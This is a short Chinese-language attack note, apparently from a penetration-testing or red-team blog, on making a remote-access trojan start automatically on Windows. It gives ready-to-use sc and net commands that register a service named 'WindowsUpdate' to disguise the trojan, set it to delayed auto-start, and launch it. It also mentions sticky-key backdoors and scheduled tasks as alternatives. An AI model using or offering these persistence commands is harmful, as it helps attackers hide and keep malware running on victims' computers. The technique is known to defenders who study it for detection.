要在Windows系统中进行远控持久化,必然需要让远控木马能有效开机自启。目前在Windows系统中能实现开机自启的方法很多,如添加注册表或者放置到启动目录等,但这些启动方法启动权限不高,而且有时还可能需要用户确认才能启动。较为可靠的是使用计划任务或者服务进行启动。

注意:创建服务需要先获得目标机器的System权限

1.创建目标服务:

sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe"

其中binpath中的路径为文件木马的路径

2.修改启动模型:

sc config "WindowsUpdate" start= delayed-auto

注意不要设置为auto,设置为auto可能无法正常启动

3.启动一次服务进行测试:

net start WindowsUpdate

除此之外,还可以使用shift后门或者定时任务来实现自启动,参见:https://xz.aliyun.com/t/5881